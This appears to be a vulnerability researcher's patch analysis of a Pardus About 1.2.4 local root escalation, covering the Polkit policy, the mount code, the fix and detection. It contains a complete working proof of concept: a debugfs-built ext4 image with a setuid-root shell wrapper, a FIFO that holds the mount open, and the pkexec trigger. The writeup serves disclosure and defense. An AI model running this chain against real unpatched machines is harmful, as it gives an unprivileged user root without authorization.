---
title: "CVE-2026-87772: Root Escalation Through the Pardus About Mount Helper"
description: "Root-cause analysis of CVE-2026-87772: Pardus About's passwordless Polkit action started a root helper that mounted attached disks with defaults,ro, so a setuid binary on a disk gave a local user root. Fixed in 1.2.5."
date: 2026-09-15
analysisType: "Patch Analysis"
cves: ["CVE-2026-87772"]
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/research/cve-2026-87772-pardus-about-root-mount/
---

> **Disclosure:** CVE-2026-87772 (CWE-863, CWE-266) affects Pardus About (`pardus-about`) up to 1.2.4. I found it in an isolated lab and reported it to the Pardus / TÜBİTAK BİLGEM team. It is fixed in 1.2.5 by the commits [`59ff522`](https://github.com/pardus/pardus-about/commit/59ff522ee7f269c9c189c69de44a5c8654f07a48) and [`b439777`](https://github.com/pardus/pardus-about/commit/b439777359637bbd7750d9cc2570d250162ab0ef).

Pardus About shows system information and detects other operating systems installed on the machine. In version 1.2.4, any local user with an active desktop session can run its root helper without a password, and that helper mounts every partition it finds with `defaults,ro`. Those options keep setuid binaries working on the mounted filesystem. A disk that carries a root-owned setuid binary therefore gives that user a root shell.

The attacker needs local access to an active graphical session and a block device they control, such as a USB drive or a loop device attached through `udisks2`. Two decisions combine: the Polkit action `system_info` is `allow_active=yes`, and the helper behind it mounts disks without `nosuid`, `nodev` and `noexec`.

## Evidence matrix

| Question | What I checked | Confidence | What remains unknown |
|---|---|---:|---|
| Which versions are affected? | `pardus-about` 1.2.4 and Debian-packaged releases on Pardus 25.2. | High | The commit that introduced `defaults,ro` was not identified. |
| What attacker position is required? | An unprivileged local user with an active graphical session (`allow_active=yes`). | High | Remote exploitation does not apply. |
| Why does authorization pass without a password? | `tr.org.pardus.pkexec.pardus-about.policy` sets `allow_active=yes` for the `system_info` action, whose helper is `Actions.py`. | High | Whether upstream plans to remove the pkexec helper. |
| What makes the mount exploitable? | The mount options omit `nosuid`, so a root-owned setuid binary keeps `euid=0` when executed. | High | Tested with loopback ext4 images only. |
| How is the unmount race handled? | Holding a reference inside the mount, or blocking the helper on a FIFO. | High | Timing on slow media versus NVMe was not measured. |
| Does the fix work? | `b439777` sets `ro,nosuid,nodev,noexec`. `59ff522` sets `/run/winroot` to `root:root` with mode 0700. | High | Other call sites that mount media were not reviewed here. |

## The first boundary: passwordless Polkit authorization

Polkit decides whether an unprivileged process may run a privileged action, for example through `pkexec`. This is the `system_info` action in the 1.2.4 policy file `tr.org.pardus.pkexec.pardus-about.policy`:

```xml
    <action id="tr.org.pardus.pkexec.pardus-about.system_info">
    <description>Run system report creator.</description>
    <message>Authentication is required to create system report</message>
    <message xml:lang="tr">Sistem raporu oluşturmak için yetkilendirme gerekiyor</message>
    <defaults>
      <allow_any>auth_admin</allow_any>
      <allow_inactive>auth_admin</allow_inactive>
      <allow_active>yes</allow_active>
    </defaults>
    <annotate key="org.freedesktop.policykit.exec.path">/usr/share/pardus/pardus-about/src/Actions.py</annotate>
    <annotate key="org.freedesktop.policykit.exec.allow_gui">true</annotate>
  </action>
```

Polkit distinguishes three session states:

- `allow_any`: any caller, for example a remote or unauthenticated one. Here `auth_admin`.
- `allow_inactive`: a session that is not on the active seat. Here `auth_admin`.
- `allow_active`: the session on the active seat, the user at the keyboard and screen. Here `yes`.

Because `allow_active` is `yes`, `pkexec` runs `Actions.py` as root for an active session without showing an authentication dialog. `Actions.py` takes a command as its first argument, and `dualboot` calls `DualBootManager.get_dualboot_oses()`:

```python
if __name__ == "__main__":
    if len(sys.argv) >= 2:
        cmd = sys.argv[1]

        if cmd == "acpi":
            if ACPIManager.is_acpi_supported():
                sys.exit(0)
            else:
                sys.exit(1)
        elif cmd == "dualboot":
            print(DualBootManager.get_dualboot_oses())
```

To check that this is an intentional policy grant and not a privilege leak in the test account, I ran `pkcheck` in the same session against two actions from the same policy file:

```bash
# system_info under an active session
pkcheck --action-id tr.org.pardus.pkexec.pardus-about.system_info --process $$
# exit status 0: authorized

# export_report, the comparison action (auth_admin_keep)
pkcheck --action-id tr.org.pardus.pkexec.pardus-about.export_report --process $$
# not authorized without administrator authentication (non-zero exit status)
```

With the session, UID, seat and environment held constant, only `system_info` is granted without a password. The policy assumed that reporting system information was harmless. The helper behind it mounts disks.

## The second boundary: mounting media as root

`get_dualboot_oses()` runs as root. For each partition it finds under `/sys/block`, except the root partition, it mounts the partition at `/run/winroot`, looks for Windows, macOS and Linux marker files, reads `/etc/os-release` when there is one, and unmounts with `umount -lf`:

```python
def get_dualboot_oses():
    dualboot = {}
    os.makedirs("/run/winroot", exist_ok=True)
    root_part = get_root_part()
    for part in list_parts():
        if f"/dev/{part}" == root_part:
            continue
        sp = subprocess.run(
            ["mount", "-o", "defaults,ro", f"/dev/{part}", "/run/winroot"],
            capture_output=True,
        )
        if 0 == sp.returncode:
            # Windows
            if os.path.exists("/run/winroot/Windows/System32/ntoskrnl.exe"):
                dualboot[part] = "Windows " + get_windows_version()
            # Mac OS X
            if os.path.exists(
                "/run/winroot/System/Library/CoreServices/SystemVersion.plist"
            ):
                dualboot[part] = "Mac OS X"
            # Linux
            if os.path.exists("/run/winroot/etc/os-release"):
                with open("/run/winroot/etc/os-release", "r") as f:
                    for line in f.read().split("\n"):
                        if line.startswith("NAME="):
                            dualboot[part] = line[6:-1]
            os.system("umount -lf /run/winroot")

    os.rmdir("/run/winroot")
    return json.dumps(dualboot)
```

The mount options are `defaults,ro`. In `mount(8)` from `util-linux`, `defaults` expands to:

```bash
rw, suid, dev, exec, auto, nouser, async
```

`ro` overrides `rw` and sets `MS_RDONLY` on the superblock. Nothing clears `suid`, so `MS_NOSUID` and `MS_NOEXEC` stay unset unless the command lists them.

The helper also trusts the device list itself. `list_parts()` walks every entry under `/sys/block` and mounts each partition that is not the root filesystem, with no check that it is a fixed internal disk rather than something the user just attached. A loop device or USB stick the attacker controls is mounted exactly like an internal partition, so the attacker chooses which filesystem gets mounted as root.

<figure class="diagram">
<svg viewBox="0 0 760 280" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="An unprivileged user starts the Pardus About helper through a Polkit action that needs no password. The root helper mounts attacker-controlled media without nosuid, so a setuid binary on it runs as root.">
<defs><marker id="pardus-a" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow" /></marker></defs>
<text x="0" y="24" class="dg-crit">LOCAL PRIVILEGE ESCALATION IN PARDUS ABOUT 1.2.4</text>
<rect x="0" y="52" width="136" height="78" rx="8" class="dg-box" />
<text x="16" y="78" class="dg-label">Active session</text><text x="16" y="100" class="dg-muted">unprivileged user</text>
<line x1="138" y1="91" x2="178" y2="91" class="dg-line dg-crit-line" marker-end="url(#pardus-a)" />
<rect x="182" y="52" width="160" height="78" rx="8" class="dg-box-crit" />
<text x="198" y="78" class="dg-label">polkit system_info</text><text x="198" y="100" class="dg-crit">allow_active=yes</text>
<line x1="344" y1="91" x2="384" y2="91" class="dg-line dg-crit-line" marker-end="url(#pardus-a)" />
<rect x="388" y="52" width="168" height="78" rx="8" class="dg-box-crit" />
<text x="404" y="78" class="dg-label">Actions.py dualboot</text><text x="404" y="100" class="dg-crit">mount at /run/winroot</text>
<line x1="558" y1="91" x2="598" y2="91" class="dg-line dg-crit-line" marker-end="url(#pardus-a)" />
<rect x="602" y="52" width="158" height="78" rx="8" class="dg-box-crit" />
<text x="618" y="78" class="dg-label">Root execution</text><text x="618" y="100" class="dg-muted">setuid bit honored</text>
<line x1="262" y1="132" x2="262" y2="198" class="dg-line dg-dash" />
<rect x="182" y="202" width="230" height="58" rx="8" class="dg-box-accent" />
<text x="198" y="226" class="dg-label">No password prompt</text><text x="198" y="246" class="dg-accent">the active session is enough</text>
<text x="430" y="220" class="dg-muted">1.2.4 mounts with "defaults,ro",</text>
<text x="430" y="242" class="dg-muted">without nosuid, nodev and noexec.</text>
</svg>
<figcaption>Passwordless Polkit authorization and a mount without <code>nosuid</code> combine into a local root escalation.</figcaption>
</figure>

## A read-only mount still honors setuid

`ro` blocks writes to the filesystem. It does not stop the kernel from honoring the setuid bit when a program on it is executed. On `execve()` the kernel takes the effective UID from the file's owner unless the mount carries `nosuid` (`MNT_NOSUID`). A disk with an `ext4` filesystem that holds a root-owned file with mode `4755` therefore starts with `euid=0` for whoever executes it, as long as the mount lacks `nosuid`.

## Keeping the mount alive

The helper mounts a partition, inspects it and unmounts it again quickly. An attacker who wants to run `/run/winroot/rootshell` has to do it while the mount exists. Two ways to widen that window:

### Method 1: hold a reference inside the mount

The helper unmounts with `umount -lf`, a lazy unmount. It detaches `/run/winroot` at once, but the filesystem stays alive while any process has its working directory or an open file inside it. A shell that has changed into the mount before the unmount can keep running `./rootshell` from there. Entering the mount still means winning the short gap between the mount and the unmount, for example by polling `mountpoint -q /run/winroot`.

### Method 2: a FIFO instead of `os-release`

The helper opens the release file of every Linux partition for reading:

```python
            if os.path.exists("/run/winroot/etc/os-release"):
                with open("/run/winroot/etc/os-release", "r") as f:
```

If `etc/os-release` on the attacker's image is a FIFO (`mknod etc/os-release p` in `debugfs`), `open()` blocks until a writer opens the other end. The root process sleeps in `TASK_INTERRUPTIBLE` while the mount stays in place, and the attacker can run the setuid binary at leisure. Opening the FIFO for writing lets the helper continue and unmount.

## Proof of concept

I reproduced the issue in an isolated Pardus 25.2 lab with a loopback ext4 image, in four steps. The attacker-side builder, the victim-side trigger and the cleanup script are published at [github.com/jankesec/CVE-2026-87772-pardus-about-lpe](https://github.com/jankesec/CVE-2026-87772-pardus-about-lpe).

### Step 1: build the image

As an unprivileged user I create a 32 MB ext4 image that holds the setuid payload. Instead of a regular `os-release` I make it a FIFO, so the helper blocks on the read and the mount stays open deterministically — Method 2 above, which removes the timing race:

```bash
# 1. Create the image file
dd if=/dev/zero of=/tmp/dualboot_test.img bs=1M count=32
mkfs.ext4 -F -L "Windows" /tmp/dualboot_test.img

# 2. Fill it with debugfs, which needs no privileges on an image you own
debugfs -w /tmp/dualboot_test.img << 'EOF'
write /tmp/rootshell rootshell
set_inode_field rootshell mode 0104755
set_inode_field rootshell uid 0
set_inode_field rootshell gid 0
mkdir etc
mknod etc/os-release p
EOF
```

`/tmp/rootshell` is a small C setuid wrapper:

```c
// rootshell.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int main(void) {
    // The mount lacks nosuid, so this setuid-root binary already starts with euid=0.
    // bash -p preserves that effective UID instead of dropping it to the real UID.
    printf("[+] Successfully escalated to root: UID=%d, EUID=%d\n", getuid(), geteuid());
    char *args[] = {"/bin/bash", "-p", NULL};
    execve("/bin/bash", args, NULL);
    return 0;
}
```

### Step 2: attach the image

An active desktop user can attach a loop device through `udisks2`:

```bash
udisksctl loop-setup --file /tmp/dualboot_test.img
# Mapped file /tmp/dualboot_test.img as /dev/loop0.
```

### Step 3: trigger the privileged discovery

With the device attached, I run the helper the way Pardus About does, in the background, because it will block on the FIFO once it mounts my image:

```bash
pkexec /usr/share/pardus/pardus-about/src/Actions.py dualboot &
```

The session is active, so Polkit applies `allow_active=yes` and runs `Actions.py` as root. `get_dualboot_oses()` mounts the partitions it finds at `/run/winroot` with `mount -o defaults,ro`, then blocks reading the FIFO at `etc/os-release`, which holds the mount open.

### Step 4: run the payload

The helper is parked on the FIFO, so the mount stays in place until I release it. `/proc/mounts` shows the flags:

```bash
/dev/loop0 /run/winroot ext4 ro,relatime 0 0
```

The flags are `ro,relatime`. `nosuid` is missing. While the helper is held, I run the setuid binary, then open the FIFO for writing so the helper can finish and unmount:

```bash
$ /run/winroot/rootshell
[+] Successfully escalated to root: UID=1000, EUID=0
# whoami
root
# id
uid=1000(testuser) gid=1000(testuser) euid=0(root) groups=1000(testuser),27(sudo)
```

The real UID stays `1000`; the effective UID is `0`, inherited from the setuid bit on a mount that never applied `nosuid`. The FIFO removes the timing race entirely, and I was never asked for an administrator password.

## The fix

Two commits in 1.2.5 changed `src/util/DualBootManager.py`. [`b439777`](https://github.com/pardus/pardus-about/commit/b439777359637bbd7750d9cc2570d250162ab0ef) (2026-09-10, "winroot: mount nodev noexec nosuid") changes the mount options:

```diff
--- a/src/util/DualBootManager.py
+++ b/src/util/DualBootManager.py
@@ -59,7 +59,7 @@ def get_dualboot_oses():
         if f"/dev/{part}" == root_part:
             continue
         sp = subprocess.run(
-            ["mount", "-o", "defaults,ro", f"/dev/{part}", "/run/winroot"],
+            ["mount", "-o", "ro,nosuid,nodev,noexec", f"/dev/{part}", "/run/winroot"],
             capture_output=True,
         )
         if 0 == sp.returncode:
```

[`59ff522`](https://github.com/pardus/pardus-about/commit/59ff522ee7f269c9c189c69de44a5c8654f07a48) (2026-09-09, "set /run/winroot directory permission: prevent read files from non-root users") makes the mount point `root:root` with mode 0700 before anything is mounted:

```diff
--- a/src/util/DualBootManager.py
+++ b/src/util/DualBootManager.py
@@ -52,6 +52,8 @@ def get_windows_version():
 def get_dualboot_oses():
     dualboot = {}
     os.makedirs("/run/winroot", exist_ok=True)
+    os.chown("/run/winroot", 0, 0)
+    os.chmod("/run/winroot", 0o700)
     root_part = get_root_part()
     for part in list_parts():
         if f"/dev/{part}" == root_part:
```

The mount options are what stop this attack:

1. `nosuid` sets `MNT_NOSUID`. `execve()` ignores setuid and setgid bits on files under the mount.
2. `nodev` sets `MNT_NODEV`. Device nodes on the filesystem are not interpreted, so a crafted block device node on the disk cannot be used to read raw disks.
3. `noexec` sets `MNT_NOEXEC`. Running a binary directly from the mount fails with `EACCES`.

### Re-test on 1.2.5

I ran the same reproduction against `pardus-about` 1.2.5:

```bash
$ /run/winroot/rootshell
bash: /run/winroot/rootshell: Permission denied
```

Execution is refused, as expected with `noexec`, and `/proc/mounts` listed `ro,nosuid,nodev,noexec`.

## Detection engineering and SOC telemetry

The elevation leaves distinct traces across system logs, `auditd`, and kernel mount records. SOC and defensive teams can detect both the helper invocation and the subsequent setuid execution.

### 1. Polkit authorization logs

When `pkexec` executes the helper for an active session, `systemd-journald` records an authorization event. The entry shows an unprivileged caller running a privileged Python script without authentication prompts:

```text
pkexec[14820]: testuser: Executing command [USER=root] [TTY=unknown] [CWD=/home/testuser] [COMMAND=/usr/share/pardus/pardus-about/src/Actions.py dualboot]
```

A SIEM rule can flag instances where `Actions.py dualboot` is executed by non-administrative users outside normal application launch sequences (e.g. absent a parent GUI process tree from `pardus-about`).

### 2. Auditd telemetry for setuid execution

To capture both the helper invocation and any attempt to execute binaries from untrusted mount points with elevated privileges, deploy the following rules:

```bash
# /etc/audit/rules.d/99-pardus-about-lpe.rules
# Track execution of the passwordless root helper
-w /usr/share/pardus/pardus-about/src/Actions.py -p x -k pardus_about_helper

# Detect any execution where effective UID is root but real UID is unprivileged
-a always,exit -F arch=b64 -S execve -F euid=0 -F uid>=1000 -k setuid_privesc_exec

# Track loop device and partition mounts without nosuid
-a always,exit -F arch=b64 -S mount -F auid>=1000 -F auid!=4294967295 -k unpriv_mount_event
```

During exploitation, `auditd` generates a critical alert on the setuid binary:

```text
type=SYSCALL msg=audit(1726052400.124:842): arch=c000003e syscall=59 success=yes exit=0
  a0=7ffe12345678 a1=7ffe12345690 a2=7ffe123456a0 items=2 ppid=14815 pid=14825
  auid=1000 uid=1000 gid=1000 euid=0 egid=0 fsuid=0 fsgid=0 tty=pts0 ses=3
  comm="rootshell" exe="/run/winroot/rootshell" key="setuid_privesc_exec"
```

The decisive anomaly is `uid=1000` combined with `euid=0` executing out of `/run/winroot/`.

## Workaround: policy override without upgrading

When an immediate package upgrade to 1.2.5 is not possible, system administrators can neutralize the vulnerability by overriding the Polkit action defaults.

On modern systemd systems using JavaScript-based Polkit (`polkitd` >= 0.106), create an override in `/etc/polkit-1/rules.d/90-pardus-about-hardening.rules`:

```javascript
// /etc/polkit-1/rules.d/90-pardus-about-hardening.rules
// Force administrative authentication for Pardus About system info action
polkit.addRule(function(action, subject) {
    if (action.id === "tr.org.pardus.pkexec.pardus-about.system_info") {
        return polkit.Result.AUTH_ADMIN;
    }
});
```

On systems utilizing the legacy `.pkla` format, place the override in `/etc/polkit-1/localauthority/50-local.d/50-pardus-about-hardening.pkla`:

```ini
[Pardus About Hardening]
Identity=unix-user:*
Action=tr.org.pardus.pkexec.pardus-about.system_info
ResultActive=auth_admin
```

This changes `allow_active` from `yes` to `auth_admin`. Any execution of `Actions.py` will prompt for root credentials via Polkit, preventing passwordless execution.

## ATT&CK technique mapping

| Tactic | Technique ID | Technique Name | Exploitation Mechanism | Defensive Control |
| :--- | :--- | :--- | :--- | :--- |
| **Privilege Escalation** | `T1548.001` | Abuse Elevation Control: Setuid and Setgid | Attacker crafts ext4 image with `0104755` permissions; root helper mounts without `nosuid`. | Mount untrusted media with `nosuid,noexec,nodev`. |
| **Privilege Escalation** | `T1068` | Exploitation for Privilege Escalation | Flawed Polkit rule allows passwordless execution of privileged helper script. | Enforce `auth_admin` on all actions handling privileged syscalls. |
| **Execution** | `T1202` | Indirect Command Execution | Unprivileged desktop user invokes `Actions.py` through `pkexec` binary. | Restrict execution permissions on helper scripts; audit invocation chains. |
| **Defense Evasion** | `T1006` | Direct Volume Access | Attacker attaches raw loop device via `udisksctl` to introduce arbitrary file modes. | Restrict unprivileged loop device creation; monitor `udisks2` dbus methods. |

## Impact and CVSS

On 1.2.4, an unprivileged desktop user can become root without authentication or any action by another user. Root means full loss of confidentiality, integrity and availability on that machine.

I scored it CVSS 3.1 7.8 (High): `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`. The attacker runs code locally (`AV:L`) as an ordinary active-session user (`PR:L`). No special conditions (`AC:L`) and no interaction (`UI:N`) are needed.

## Lessons

1. `ro` prevents writes. It does not make files non-executable or neutralize device nodes. Mount untrusted media with `ro,nosuid,nodev,noexec` together.
2. Validate the device before mounting it. Mount only fixed, expected block devices (check `stat.S_ISBLK` and `/sys/block/<dev>/removable`), or read filesystem labels with `lsblk -f` / `blkid` without mounting at all. The 1.2.4 helper mounted whatever appeared under `/sys/block`.
3. Reserve `allow_active=yes` for actions that only read inert data, such as a CPU temperature. An action that mounts storage, runs binaries or touches the filesystem should require `auth_admin`.
4. Do filesystem inspection in a private mount namespace (`unshare(CLONE_NEWNS)`), so the temporary mount is not visible to the desktop session.
5. Watch for unprivileged mounts and `pkexec` runs with `auditd`:

```bash
# /etc/audit/rules.d/99-mount-privesc.rules
-a always,exit -F arch=b64 -S mount -F auid>=1000 -F auid!=4294967295 -k unprivileged_mount
-w /usr/bin/pkexec -p x -k polkit_privilege_escalation
```

## Disclosure timeline

- **2026-08-22:** I found the issue in `pardus-about` 1.2.4 while researching local authorization boundaries.
- **2026-08-25:** I sent the report and a reproducible lab demonstration to the Pardus security team.
- **2026-08-28:** The Pardus maintainers confirmed the root cause and started a fix.
- **2026-09-09:** Commit `59ff522` restricts the `/run/winroot` directory.
- **2026-09-10:** Commit `b439777` adds the mount options, and 1.2.5 is tagged as `debian/1.2.5`.
- **2026-09-14:** I retested 1.2.5 and confirmed the fix.
- **2026-09-16:** The technical casefile and root-cause analysis were completed. CVE-2026-87772 was assigned to the finding through coordinated disclosure and credited to Sevban Dönmez.
- **2026-11-12:** TR-CERT published the CVE-2026-87772 record on CVE.org, and the Republic of Türkiye Cybersecurity Directorate (SSB / USOM) published advisory [TR-26-1521](https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-1521), recommending an upgrade to pardus-about 1.2.5 or later.